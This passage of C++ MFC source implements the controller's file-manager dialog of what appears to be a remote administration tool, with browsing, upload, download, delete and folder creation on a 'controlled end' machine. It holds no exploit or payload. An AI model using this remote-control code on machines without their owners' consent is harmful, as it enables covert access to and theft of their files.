pBase = pList; (unsigned long)(pList - pBase) < dwBufferLen - 1;) { TCHAR* pszFileName = NULL; DWORD dwFileSizeHigh = 0; // 文件高字节大小 DWORD dwFileSizeLow = 0; // 文件低字节大小 int nItem = 0; bool bIsInsert = false; FILETIME ftm_strReceiveLocalFileTime; int nType = *pList ? FILE_ATTRIBUTE_DIRECTORY : FILE_ATTRIBUTE_NORMAL; // i 为 0 时,列目录,i为1时列文件 bIsInsert = !(nType == FILE_ATTRIBUTE_DIRECTORY) == i; pszFileName = (TCHAR*)++pList; if (bIsInsert) { int iicon = GetIconIndex(pszFileName, nType); nItem = m_list_remote.InsertItem(nItemIndex++, pszFileName, iicon); m_list_remote.SetItemData(nItem, nType == FILE_ATTRIBUTE_DIRECTORY); SHFILEINFO sfi = {}; SHGetFileInfo(pszFileName, FILE_ATTRIBUTE_NORMAL | nType, &sfi, sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES); m_list_remote.SetItemText(nItem, 2, sfi.szTypeName); } // 得到文件大小 pList += (lstrlen(pszFileName) + 1) * sizeof(TCHAR); if (bIsInsert) { CString strFileSize; memcpy(&dwFileSizeHigh, pList, 4); memcpy(&dwFileSizeLow, pList + 4, 4); __int64 nFileSize = ((__int64)dwFileSizeHigh << 32) + dwFileSizeLow; if (nFileSize >= 1024 * 1024 * 1024) strFileSize.Format(_T("%0.2f GB"), (double)nFileSize / (1024 * 1024 * 1024)); else if (nFileSize >= 1024 * 1024) strFileSize.Format(_T("%0.2f MB"), (double)nFileSize / (1024 * 1024)); else strFileSize.Format(_T("%I64u KB"), nFileSize / 1024 + (nFileSize % 1024 ? 1 : 0)); m_list_remote.SetItemText(nItem, 1, strFileSize); memcpy(&ftm_strReceiveLocalFileTime, pList + 8, sizeof(FILETIME)); CTime time(ftm_strReceiveLocalFileTime); m_list_remote.SetItemText(nItem, 3, time.Format(_T("%Y-%m-%d %H:%M"))); } pList += 16; } } } m_list_remote.SetRedraw(TRUE); // 恢复窗口 m_list_remote.EnableWindow(TRUE); m_list_remote_driver.EnableWindow(TRUE); if (DRIVE_CAZ == FALSE) { DWORD_PTR dwResult; ShowMessage(_T("远程目录:%s"), m_Remote_Path); SendMessageTimeout(m_ProgressCtrl->GetSafeHwnd(), PBM_SETPOS, 0, 0, SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult); SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, NULL, SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult); } } void CFileManagerDlg::ShowMessage(TCHAR* lpFmt, ...) { TCHAR buff[1024]; va_list arglist; va_start(arglist, lpFmt); memset(buff, 0, sizeof(buff)); vsprintf_s(buff, lpFmt, arglist); DWORD_PTR dwResult; SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 0, (LPARAM)buff, SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult); va_end(arglist); } void CFileManagerDlg::OnGo() { m_Remote_Directory_ComboBox.GetWindowText(m_Remote_Path); m_Remote_Path += _T("\\"); GetRemoteFileList(_T("..")); } void CFileManagerDlg::OnRemotePrev() { GetRemoteFileList(_T("..")); } //////////////////////////////////以下为工具栏响应处理////////////////////////////////////////// void CFileManagerDlg::OnRemoteView() { static int i = 0; switch (i) { case 0: m_list_remote.ModifyStyle(LVS_TYPEMASK, LVS_LIST); break; case 1: m_list_remote.ModifyStyle(LVS_TYPEMASK, LVS_SMALLICON); break; case 2: m_list_remote.ModifyStyle(LVS_TYPEMASK, LVS_ICON); break; case 3: m_list_remote.ModifyStyle(LVS_TYPEMASK, LVS_REPORT); break; default: break; } i++; if (i > 3) i = 0; } void CFileManagerDlg::OnRemoteRecent() { BYTE byToken = COMMAND_FILE_RECENT; m_ContextObject->Send2Client(&byToken, 1); } void CFileManagerDlg::OnRemoteDesktop() { m_Remote_Directory_ComboBox.SetWindowText(m_strDesktopPath); m_list_remote.SetSelectionMark(-1); GetRemoteFileList(); } bool CFileManagerDlg::FixedUploadDirectory(LPCTSTR lpPathName) { TCHAR lpszFilter[MAX_PATH]; TCHAR* lpszSlash = NULL; memset(lpszFilter, 0, sizeof(lpszFilter)); if (lpPathName[lstrlen(lpPathName) - 1] != _T('\\')) lpszSlash = _T("\\"); else lpszSlash = _T(""); wsprintf(lpszFilter, _T("%s%s*.*"), lpPathName, lpszSlash); WIN32_FIND_DATA wfd; HANDLE hFind = FindFirstFile(lpszFilter, &wfd); if (hFind == INVALID_HANDLE_VALUE) // 如果没有找到或查找失败 return FALSE; do { if (wfd.cFileName[0] == _T('.')) continue; // 过滤这两个目录 if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { TCHAR strDirectory[MAX_PATH]; wsprintf(strDirectory, _T("%s%s%s"), lpPathName, lpszSlash, wfd.cFileName); FixedUploadDirectory(strDirectory); // 如果找到的是目录,则进入此目录进行递归 } else { CString file; file.Format(_T("%s%s%s"), lpPathName, lpszSlash, wfd.cFileName); m_Remote_Upload_Job.AddTail(file); // 对文件进行操作 } } while (FindNextFile(hFind, &wfd)); FindClose(hFind); // 关闭查找句柄 return true; } void CFileManagerDlg::EnableControl(BOOL bEnable) { // m_list_local.EnableWindow(bEnable); // m_Local_Directory_ComboBox.EnableWindow(bEnable); m_list_remote.EnableWindow(bEnable); m_Remote_Directory_ComboBox.EnableWindow(bEnable); } CString CFileManagerDlg::ExtractNameFromFullPath(CString szFullPath) { TCHAR path_buffer[_MAX_PATH]; TCHAR fname[_MAX_FNAME]; TCHAR ext[_MAX_EXT]; _tcscpy_s(path_buffer, szFullPath); _tsplitpath_s(szFullPath, NULL, 0, NULL, 0, fname, fname ? _MAX_FNAME : 0, ext, ext ? _MAX_EXT : 0); return CString(fname) + CString(ext); } void CFileManagerDlg::OnTransferSend() { m_bIsUpload = true; // 重置上传任务列表 m_Remote_Upload_Job.RemoveAll(); CString file = GetDirectoryPath(TRUE); if (file == "") return; m_Local_Path = file.Left(file.ReverseFind(_T('\\')) + 1); if (GetFileAttributes(file) & FILE_ATTRIBUTE_DIRECTORY) { if (file.GetAt(file.GetLength() - 1) != _T('\\')) file += _T("\\"); FixedUploadDirectory(file.GetBuffer(0)); } else { m_Remote_Upload_Job.AddTail(file); } if (m_Remote_Upload_Job.IsEmpty()) { ::MessageBox(m_hWnd, _T("文件夹为空"), _T("警告"), MB_OK | MB_ICONWARNING); return; } EnableControl(FALSE); SendUploadJob(); } void CFileManagerDlg::TransferSend(CString file) { if (!m_list_remote.GetItemText(0, 0).Compare(_T(""))) return; m_bIsUpload = true; // 重置上传任务列表 m_Remote_Upload_Job.RemoveAll(); if (file == "") return; m_Local_Path = file.Left(file.ReverseFind(_T('\\')) + 1); if (GetFileAttributes(file) & FILE_ATTRIBUTE_DIRECTORY) { if (file.GetAt(file.GetLength() - 1) != _T('\\')) file += _T("\\"); FixedUploadDirectory(file.GetBuffer(0)); } else { m_Remote_Upload_Job.AddTail(file); } if (m_Remote_Upload_Job.IsEmpty()) { ::MessageBox(m_hWnd, _T("文件夹为空"), _T("警告"), MB_OK | MB_ICONWARNING); return; } EnableControl(FALSE); SendUploadJob(); } // 获取选择的路径 CString CFileManagerDlg::GetDirectoryPath(BOOL bIncludeFiles) { CString szSavePath; TCHAR szBrowsePath[MAX_PATH]; ZeroMemory(szBrowsePath, sizeof(szBrowsePath)); BROWSEINFO bi = { 0 }; //因为已经初始化为0.所以有些项不用再重复赋值了 bi.hwndOwner = m_hWnd; bi.pszDisplayName = szBrowsePath; if (bIncludeFiles) { bi.lpszTitle = _T("请选择上传路径: "); bi.ulFlags = BIF_BROWSEINCLUDEFILES; } else { bi.lpszTitle = _T("请选择下载路径: "); bi.ulFlags = BIF_RETURNONLYFSDIRS; } LPITEMIDLIST lpiml = { 0 }; lpiml = SHBrowseForFolder(&bi); //如果没有选中目录,则返回NULL if (lpiml && SHGetPathFromIDList(lpiml, szBrowsePath))//从lpiml 中获取路径信息 szSavePath = szBrowsePath; else return _T(""); return szSavePath; } //////////////// 文件传输操作 //////////////// // 只管发出了下载的文件 // 一个一个发,接收到下载完成时,下载第二个文件 ... void CFileManagerDlg::OnRemoteCopy() { m_bIsUpload = false; // 禁用文件管理窗口 EnableControl(FALSE); CString file; m_Remote_Download_Job.RemoveAll(); POSITION pos = m_list_remote.GetFirstSelectedItemPosition(); while (pos) { int nItem = m_list_remote.GetNextSelectedItem(pos); file = m_Remote_Path + m_list_remote.GetItemText(nItem, 0); // 如果是目录 if (m_list_remote.GetItemData(nItem)) file += '\\'; m_Remote_Download_Job.AddTail(file); } if (file.IsEmpty()) { EnableControl(TRUE); ::MessageBox(m_hWnd, _T("请选择文件!"), _T("警告"), MB_OK | MB_ICONWARNING); return; } strLpath = GetDirectoryPath(FALSE); if (strLpath == _T("")) { EnableControl(TRUE); return; } if (strLpath.GetAt(strLpath.GetLength() - 1) != _T('\\')) strLpath += _T("\\"); m_nTransferMode = TRANSFER_MODE_NORMAL; // 发送第一个下载任务 SendDownloadJob(); } // 发出一个下载任务 BOOL CFileManagerDlg::SendDownloadJob() { if (m_Remote_Download_Job.IsEmpty()) return FALSE; EnableControl(FALSE); // 发出第一个下载任务命令 CString file = m_Remote_Download_Job.GetHead(); int nPacketSize = (file.GetLength() + 1) * sizeof(TCHAR) + 1; BYTE* bPacket = (BYTE*)LocalAlloc(LPTR, nPacketSize); bPacket[0] = COMMAND_DOWN_FILES; // 文件偏移,续传时用 memcpy(bPacket + 1, file.GetBuffer(0), (file.GetLength() + 1) * sizeof(TCHAR)); m_ContextObject->Send2Client(bPacket, nPacketSize); LocalFree(bPacket); // 从下载任务列表中删除自己 m_Remote_Download_Job.RemoveHead(); return TRUE; } // 发出一个上传任务 BOOL CFileManagerDlg::SendUploadJob() { if (m_Remote_Upload_Job.IsEmpty()) return FALSE; EnableControl(FALSE); CString strDestDirectory = m_Remote_Path; // 如果远程也有选择,当做目标文件夹 int nItem = m_list_remote.GetSelectionMark(); if (!m_hCopyDestFolder.IsEmpty()) { strDestDirectory += m_hCopyDestFolder + _T("\\"); } if (strDestDirectory.IsEmpty()) { m_Local_Path = _T(""); m_Remote_Upload_Job.RemoveHead(); EnableControl(TRUE); ::MessageBox(m_hWnd, _T("请选择目录!"), _T("警告"), MB_OK | MB_ICONWARNING); return 0; } // 发出第一个下载任务命令 m_strOperatingFile = m_Remote_Upload_Job.GetHead(); DWORD dwSizeHigh; DWORD dwSizeLow; CString fileRemote = m_strOperatingFile; // 远程文件 // 得到要保存到的远程的文件路径 fileRemote.Replace(m_Local_Path, strDestDirectory); m_strFileName = m_strUploadRemoteFile = fileRemote; if (m_hFileSend != INVALID_HANDLE_VALUE) CloseHandle(m_hFileSend); m_hFileSend = CreateFile(m_strOperatingFile.GetBuffer(0), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); if (m_hFileSend == INVALID_HANDLE_VALUE) return FALSE; dwSizeLow = GetFileSize(m_hFileSend, &dwSizeHigh); m_nOperatingFileLength = ((__int64)dwSizeHigh << 32) + dwSizeLow; //CloseHandle(m_hFileSend); // 此处不要关闭, 以后还要用 // 构造数据包,发送文件长度(1字节token, 8字节大小, 文件名称, '\0') int nPacketSize = (fileRemote.GetLength() + 1) * sizeof(TCHAR) + 9; BYTE* bPacket = (BYTE*)LocalAlloc(LPTR, nPacketSize); memset(bPacket, 0, nPacketSize); bPacket[0] = COMMAND_FILE_SIZE; memcpy(bPacket + 1, &dwSizeHigh, sizeof(DWORD)); memcpy(bPacket + 5, &dwSizeLow, sizeof(DWORD)); memcpy(bPacket + 9, fileRemote.GetBuffer(0), (fileRemote.GetLength() + 1) * sizeof(TCHAR)); m_ContextObject->Send2Client(bPacket, nPacketSize); LocalFree(bPacket); // 从下载任务列表中删除自己 m_Remote_Upload_Job.RemoveHead(); return TRUE; } // 发出一个删除任务 BOOL CFileManagerDlg::SendDeleteJob() { if (m_Remote_Delete_Job.IsEmpty()) return FALSE; EnableControl(FALSE); // 发出第一个下载任务命令 CString file = m_Remote_Delete_Job.GetHead(); int nPacketSize = (file.GetLength() + 1) * sizeof(TCHAR) + 1; BYTE* bPacket = (BYTE*)LocalAlloc(LPTR, nPacketSize); m_strFileName = file; if (file.GetAt(file.GetLength() - 1) == '\\') bPacket[0] = COMMAND_DELETE_DIRECTORY; else bPacket[0] = COMMAND_DELETE_FILE; // 文件偏移,续传时用 memcpy(bPacket + 1, file.GetBuffer(0), nPacketSize - 1); m_ContextObject->Send2Client(bPacket, nPacketSize); LocalFree(bPacket); // 从下载任务列表中删除自己 m_Remote_Delete_Job.RemoveHead(); DRIVE_CAZ = TRUE; return TRUE; } void CFileManagerDlg::CreateLocalRecvFile() { // 重置计数器 m_nCounter = 0; FILESIZE* pFileSize = (FILESIZE*)(m_ContextObject->m_DeCompressionBuffer.GetBuffer(1)); DWORD dwSizeHigh = pFileSize->dwSizeHigh; DWORD dwSizeLow = pFileSize->dwSizeLow; if (pFileSize->error==FALSE) { EnableControl(TRUE); return; } m_nOperatingFileLength = ((__int64)dwSizeHigh << 32) + dwSizeLow; // 当前正操作的文件名 m_strOperatingFile = (TCHAR*)(m_ContextObject->m_DeCompressionBuffer.GetBuffer(9)); m_strReceiveLocalFile = m_strOperatingFile; // 得到要保存到的本地的文件路径 m_strReceiveLocalFile.Replace(m_Remote_Path, strLpath); m_strFileName = m_strReceiveLocalFile; // 创建多层目录 MakeSureDirectoryPathExists(m_strReceiveLocalFile.GetBuffer(0)); WIN32_FIND_DATA FindFileData; HANDLE hFind = FindFirstFile(m_strReceiveLocalFile.GetBuffer(0), &FindFileData); if (hFind != INVALID_HANDLE_VALUE && m_nTransferMode != TRANSFER_MODE_OVERWRITE_ALL && m_nTransferMode != TRANSFER_MODE_ADDITION_ALL && m_nTransferMode != TRANSFER_MODE_JUMP_ALL ) { CFileTransferModeDlg dlg(this); dlg.m_strFileName = m_strReceiveLocalFile; switch (dlg.DoModal()) { case IDC_OVERWRITE: m_nTransferMode = TRANSFER_MODE_OVERWRITE; break; case IDC_OVERWRITE_ALL: m_nTransferMode = TRANSFER_MODE_OVERWRITE_ALL; break; case IDC_ADDITION: m_nTransferMode = TRANSFER_MODE_ADDITION; break; case IDC_ADDITION_ALL: m_nTransferMode = TRANSFER_MODE_ADDITION_ALL; break; case IDC_JUMP: m_nTransferMode = TRANSFER_MODE_JUMP; break; case IDC_JUMP_ALL: m_nTransferMode = TRANSFER_MODE_JUMP_ALL; break; case IDC_CANCEL: m_nTransferMode = TRANSFER_MODE_CANCEL; break; } } if (m_nTransferMode == TRANSFER_MODE_CANCEL) { // 取消传送 m_bIsStop = true; SendStop(TRUE); FindClose(hFind); return; } int nTransferMode; switch (m_nTransferMode) { case TRANSFER_MODE_OVERWRITE_ALL: nTransferMode = TRANSFER_MODE_OVERWRITE; break; case TRANSFER_MODE_ADDITION_ALL: nTransferMode = TRANSFER_MODE_ADDITION; break; case TRANSFER_MODE_JUMP_ALL: nTransferMode = TRANSFER_MODE_JUMP; break; default: nTransferMode = m_nTransferMode; } // 1字节Token,四字节偏移高四位,四字节偏移低四位 BYTE bToken[9]; DWORD dwCreationDisposition; // 文件打开方式 memset(bToken, 0, sizeof(bToken)); bToken[0] = COMMAND_CONTINUE; // 文件已经存在 if (hFind != INVALID_HANDLE_VALUE) { // 提示点什么 // 如果是续传 if (nTransferMode == TRANSFER_MODE_ADDITION) { memcpy(bToken + 1, &FindFileData.nFileSizeHigh, 4); memcpy(bToken + 5, &FindFileData.nFileSizeLow, 4); // 接收的长度递增 m_nCounter += (__int64)FindFileData.nFileSizeHigh << 32; m_nCounter += FindFileData.nFileSizeLow; dwCreationDisposition = OPEN_EXISTING; } // 覆盖 else if (nTransferMode == TRANSFER_MODE_OVERWRITE) { // 偏移置0 memset(bToken + 1, 0, 8); // 重新创建 dwCreationDisposition = CREATE_ALWAYS; } // 跳过,指针移到-1 else if (nTransferMode == TRANSFER_MODE_JUMP) { DWORD dwOffset = -1; memcpy(bToken + 1, &dwOffset, 4); memcpy(bToken + 5, &dwOffset, 4); dwCreationDisposition = OPEN_EXISTING; DWORD_PTR dwResult; SendMessageTimeout(m_ProgressCtrl->GetSafeHwnd(), PBM_SETPOS, 100, 0, SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult); } } else { // 偏移置0 memset(bToken + 1, 0, 8); // 重新创建 dwCreationDisposition = CREATE_ALWAYS; } FindClose(hFind); if (m_hFileRecv != INVALID_HANDLE_VALUE) CloseHandle(m_hFileRecv); m_hFileRecv = CreateFile(m_strReceiveLocalFile.GetBuffer(0), GENERIC_WRITE, 0, NULL, dwCreationDisposition, FILE_ATTRIBUTE_NORMAL, 0); // 需要错误处理 if (m_hFileRecv == INVALID_HANDLE_VALUE) { m_nOperatingFileLength = 0; m_nCounter = 0; ::MessageBox(m_hWnd, m_strReceiveLocalFile + _T(" 文件创建失败"), _T("警告"), MB_OK | MB_ICONWARNING); return; } ShowProgress(); if (m_bIsStop) SendStop(TRUE); else { // 发送继续传输文件的token,包含文件续传的偏移 m_ContextObject->Send2Client(bToken, sizeof(bToken)); } } // 写入文件内容 void CFileManagerDlg::WriteLocalRecvFile() { // 传输完毕 BYTE* pData; DWORD dwBytesToWrite; DWORD dwBytesWrite = 0; int nHeadLength = 9; // 1 + 4 + 4 数据包头部大小,为固定的9 FILESIZE* pFileSize; // 得到数据的偏移 pData = m_ContextObject->m_DeCompressionBuffer.GetBuffer(nHeadLength); pFileSize = (FILESIZE*)m_ContextObject->m_DeCompressionBuffer.GetBuffer(1); // 得到数据在文件中的偏移, 赋值给计数器 //m_nCounter = MAKEINT64(pFileSize->dwSizeLow, pFileSize->dwSizeHigh); LONG dwOffsetHigh = pFileSize->dwSizeHigh; LONG dwOffsetLow = pFileSize->dwSizeLow; // 得到数据在文件中的偏移, 赋值给计数器 m_nCounter = MAKEINT64(dwOffsetLow, dwOffsetHigh); if (m_nCounter < 0) { //数据出错 返回上传传送数据 m_nCounter = Bf_nCounters; dwOffsetHigh = Bf_dwOffsetHighs; dwOffsetLow = Bf_dwOffsetLows; } else { Bf_nCounters = m_nCounter; Bf_dwOffsetHighs = dwOffsetHigh; Bf_dwOffsetLows = dwOffsetLow; dwBytesToWrite = m_ContextObject->m_DeCompressionBuffer.GetBufferLen() - nHeadLength; SetFilePointer(m_hFileRecv, dwOffsetLow, &dwOffsetHigh, FILE_BEGIN); BOOL bResult = FALSE; int i = 0; for (i = 0; i < MAX_WRITE_RETRY; i++) { // 写入文件 bResult = WriteFile(m_hFileRecv, pData, dwBytesToWrite, &dwBytesWrite, NULL); if (bResult) break; } if (i == MAX_WRITE_RETRY && !bResult) { ::MessageBox(m_hWnd, m_strReceiveLocalFile + _T(" 文件写入失败"), _T("警告"), MB_OK | MB_ICONWARNING); } dwOffsetLow = 0; dwOffsetHigh = 0; dwOffsetLow = SetFilePointer(m_hFileRecv, dwOffsetLow, &dwOffsetHigh, FILE_CURRENT); // 为了比较,计数器递增 m_nCounter += dwBytesWrite; ShowProgress(); } if (m_bIsStop) SendStop(TRUE); else { BYTE bToken[9]; bToken[0] = COMMAND_CONTINUE; memcpy(bToken + 1, &dwOffsetHigh, sizeof(dwOffsetHigh)); memcpy(bToken + 5, &dwOffsetLow, sizeof(dwOffsetLow)); m_ContextObject->Send2Client(bToken, sizeof(bToken)); } } void CFileManagerDlg::EndLocalRecvFile() { m_nCounter = 0; m_strOperatingFile = ""; m_nOperatingFileLength = 0; if (m_hFileRecv != INVALID_HANDLE_VALUE) { CloseHandle(m_hFileRecv); m_hFileRecv = INVALID_HANDLE_VALUE; } if (m_Remote_Download_Job.IsEmpty() || m_bIsStop) { m_Remote_Download_Job.RemoveAll(); // 重置传输方式 m_nTransferMode = TRANSFER_MODE_NORMAL; EnableControl(TRUE); DWORD_PTR dwResult; if (m_bIsStop) { SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, (LPARAM)_T(" 取消下载"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult); } else { SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, (LPARAM)_T(" 全部完成"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult); } m_bIsStop = false; } else { // 我靠,不sleep下会出错,服了可能以前的数据还没send出去 Sleep(5); SendDownloadJob(); } return; } void CFileManagerDlg::EndLocalUploadFile() { m_nCounter = 0; m_strOperatingFile = _T(""); m_nOperatingFileLength = 0; if (m_hFileSend != INVALID_HANDLE_VALUE) { CloseHandle(m_hFileSend); m_hFileSend = INVALID_HANDLE_VALUE; } SendStop(FALSE); // 发了之后, 被控端才会关闭句柄 if (m_Remote_Upload_Job.IsEmpty() || m_bIsStop) { m_Remote_Upload_Job.RemoveAll(); EnableControl(TRUE); GetRemoteFileList(_T(".")); DWORD_PTR dwResult; if (m_bIsStop) { SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, (LPARAM)_T(" 取消上传"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult); } else { SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, (LPARAM)_T(" 全部完成"), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult); } m_bIsStop = false; DRIVE_CAZ = TRUE; } else { Sleep(5); SendUploadJob(); } return; } void CFileManagerDlg::EndRemoteDeleteFile() { if (m_Remote_Delete_Job.IsEmpty() || m_bIsStop) { m_bIsStop = false; EnableControl(TRUE); GetRemoteFileList(_T(".")); DWORD_PTR dwResult; if (m_strFileName.GetAt(m_strFileName.GetLength() - 1) == '\\') ShowMessage(_T("删除目录:%s (完成)"), m_strFileName); else ShowMessage(_T("删除文件:%s (完成)"), m_strFileName); SendMessageTimeout(m_ProgressCtrl->GetSafeHwnd(), PBM_SETPOS, 0, 0, SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult); SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, NULL, SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult); DRIVE_CAZ = TRUE; } else { Sleep(5); SendDeleteJob(); } return; } void CFileManagerDlg::SendException() { BYTE bBuff = COMMAND_FILE_EXCEPTION; m_ContextObject->Send2Client(&bBuff, 1); } void CFileManagerDlg::SendContinue() { BYTE bBuff = COMMAND_CONTINUE; m_ContextObject->Send2Client(&bBuff, 1); } void CFileManagerDlg::SendStop(BOOL bIsDownload) { if (m_hFileRecv != INVALID_HANDLE_VALUE) { CloseHandle(m_hFileRecv); m_hFileRecv = INVALID_HANDLE_VALUE; } BYTE bBuff[2]; bBuff[0] = COMMAND_STOP; bBuff[1] = bIsDownload; m_ContextObject->Send2Client(bBuff, sizeof(bBuff)); } void CFileManagerDlg::ShowProgress() { TCHAR* lpDirection = NULL; if (m_bIsUpload) lpDirection = _T("文件上传"); else lpDirection = _T("文件下载"); if (m_nCounter == -1) { m_nCounter = m_nOperatingFileLength; } int progress = (int)((double)(m_nCounter * 100) / m_nOperatingFileLength); CString str; DWORD_PTR dwResult; if (m_nCounter >= 1024 * 1024 * 1024) str.Format(_T("%.2f GB (%d%%)"), (double)m_nCounter / (1024 * 1024 * 1024), progress); else if (m_nCounter >= 1024 * 1024) str.Format(_T("%.2f MB (%d%%)"), (double)m_nCounter / (1024 * 1024), progress); else str.Format(_T("%I64u KB (%d%%)"), m_nCounter / 1024 + (m_nCounter % 1024 ? 1 : 0), progress); ShowMessage(_T("%s: %s"), lpDirection, m_strFileName); SendMessageTimeout(m_ProgressCtrl->GetSafeHwnd(), PBM_SETPOS, (WPARAM)progress, 0, SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult); SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, (LPARAM)str.GetBuffer(0), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, &dwResult); if (m_nCounter == m_nOperatingFileLength) { m_nCounter = m_nOperatingFileLength = 0; // 关闭文件句柄 } } void CFileManagerDlg::OnRemoteDelete() { m_bIsUpload = false; // TODO: Add your command handler code here CString str; if (m_list_remote.GetSelectedCount() > 1) str.Format(_T("确定要将这 %d 项删除吗?"), m_list_remote.GetSelectedCount()); else { CString file = m_list_remote.GetItemText(m_list_remote.GetSelectionMark(), 0); if (m_list_remote.GetItemData(m_list_remote.GetSelectionMark()) == 1) str.Format(_T("确实要删除文件夹“%s”并将所有内容删除吗?"), file); else str.Format(_T("确实要把“%s”删除吗?"), file); } if (::MessageBox(m_hWnd, str, _T("确认删除"), MB_YESNO | MB_ICONQUESTION) == IDNO) return; m_Remote_Delete_Job.RemoveAll(); POSITION pos = m_list_remote.GetFirstSelectedItemPosition(); //iterator for the CListCtrl while (pos) { //so long as we have a valid POSITION, we keep iterating int nItem = m_list_remote.GetNextSelectedItem(pos); CString file = m_Remote_Path + m_list_remote.GetItemText(nItem, 0); // 如果是目录 if (m_list_remote.GetItemData(nItem)) file += _T('\\'); m_Remote_Delete_Job.AddTail(file); } EnableControl(FALSE); // 发送第一个下载任务 SendDeleteJob(); } void CFileManagerDlg::OnRemoteStop() { m_bIsStop = true; } void CFileManagerDlg::PostNcDestroy() { if (!m_bIsClosed) OnClose(); CDialog::PostNcDestroy(); delete this; } void CFileManagerDlg::SendTransferMode() { CFileTransferModeDlg dlg(this); dlg.m_strFileName = m_strUploadRemoteFile; switch (dlg.DoModal()) { case IDC_OVERWRITE: m_nTransferMode = TRANSFER_MODE_OVERWRITE; break; case IDC_OVERWRITE_ALL: m_nTransferMode = TRANSFER_MODE_OVERWRITE_ALL; break; case IDC_ADDITION: m_nTransferMode = TRANSFER_MODE_ADDITION; break; case IDC_ADDITION_ALL: m_nTransferMode = TRANSFER_MODE_ADDITION_ALL; break; case IDC_JUMP: m_nTransferMode = TRANSFER_MODE_JUMP; break; case IDC_JUMP_ALL: m_nTransferMode = TRANSFER_MODE_JUMP_ALL; break; case IDC_CANCEL: m_nTransferMode = TRANSFER_MODE_CANCEL; break; } if (m_nTransferMode == TRANSFER_MODE_CANCEL) { m_bIsStop = true; EndLocalUploadFile(); return; } BYTE bToken[5]; bToken[0] = COMMAND_SET_TRANSFER_MODE; memcpy(bToken + 1, &m_nTransferMode, sizeof(m_nTransferMode)); m_ContextObject->Send2Client(bToken, sizeof(bToken)); } void CFileManagerDlg::SendFileData() { FILESIZE* pFileSize = (FILESIZE*)(m_ContextObject->m_DeCompressionBuffer.GetBuffer(1)); LONG dwOffsetHigh = pFileSize->dwSizeHigh; LONG dwOffsetLow = pFileSize->dwSizeLow; m_nCounter = MAKEINT64(pFileSize->dwSizeLow, pFileSize->dwSizeHigh); ShowProgress(); if (m_nCounter == m_nOperatingFileLength || (dwOffsetHigh == -1 && dwOffsetLow == -1) || m_bIsStop) { EndLocalUploadFile(); return; } SetFilePointer(m_hFileSend, dwOffsetLow, &dwOffsetHigh, FILE_BEGIN); int nHeadLength = 9; // 1 + 4 + 4 数据包头部大小,为固定的9 int dwDownFileSize = GetFileSize(m_hFileSend, NULL); DWORD nNumberOfBytesToRead = MAX_SEND_BUFFER - nHeadLength; DWORD nNumberOfBytesRead = 0; BYTE* lpBuffer = (BYTE*)LocalAlloc(LPTR, MAX_SEND_BUFFER); // Token, 大小,偏移,数据 lpBuffer[0] = COMMAND_FILE_DATA; memcpy(lpBuffer + 1, &dwOffsetHigh, sizeof(dwOffsetHigh)); memcpy(lpBuffer + 5, &dwOffsetLow, sizeof(dwOffsetLow)); // 返回值 bool bRet = true; ReadFile(m_hFileSend, lpBuffer + nHeadLength, nNumberOfBytesToRead, &nNumberOfBytesRead, NULL); //CloseHandle(m_hFileSend); // 此处不要关闭, 以后还要用 if (nNumberOfBytesRead > 0) { int nPacketSize = nNumberOfBytesRead + nHeadLength; m_ContextObject->Send2Client(lpBuffer, nPacketSize); } LocalFree(lpBuffer); } bool CFileManagerDlg::DeleteDirectory(LPCTSTR lpszDirectory) { WIN32_FIND_DATA wfd; TCHAR lpszFilter[MAX_PATH]; wsprintf(lpszFilter, _T("%s\\*.*"), lpszDirectory); HANDLE hFind = FindFirstFile(lpszFilter, &wfd); if (hFind == INVALID_HANDLE_VALUE) // 如果没有找到或查找失败 return FALSE; do { if (wfd.cFileName[0] != '.') { if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { TCHAR strDirectory[MAX_PATH]; wsprintf(strDirectory, _T("%s\\%s"), lpszDirectory, wfd.cFileName); DeleteDirectory(strDirectory); } else { TCHAR strFile[MAX_PATH]; wsprintf(strFile, _T("%s\\%s"), lpszDirectory, wfd.cFileName); DeleteFile(strFile); } } } while (FindNextFile(hFind, &wfd)); FindClose(hFind); // 关闭查找句柄 if (!RemoveDirectory(lpszDirectory)) { return FALSE; } return true; } void CFileManagerDlg::OnRemoteNewFolder() { if (m_Remote_Path == _T("")) return; CInputDialog dlg(this); dlg.Init(_T("新建目录"), _T("请输入目录名称:")); if (dlg.DoModal() == IDOK && dlg.m_str.GetLength()) { CString file = m_Remote_Path + dlg.m_str + _T("\\"); UINT nPacketSize = (file.GetLength() + 1) * sizeof(TCHAR) + 1; LPBYTE lpBuffer = new BYTE[nPacketSize]; lpBuffer[0] = COMMAND_CREATE_FOLDER; memcpy(lpBuffer + 1, file.GetBuffer(0), nPacketSize - 1); m_ContextObject->Send2Client(lpBuffer, nPacketSize); SAFE_DELETE_AR(lpBuffer); } } void CFileManagerDlg::OnTransferRecv() { OnRemoteCopy(); //下载 } void CFileManagerDlg::OnRename() { 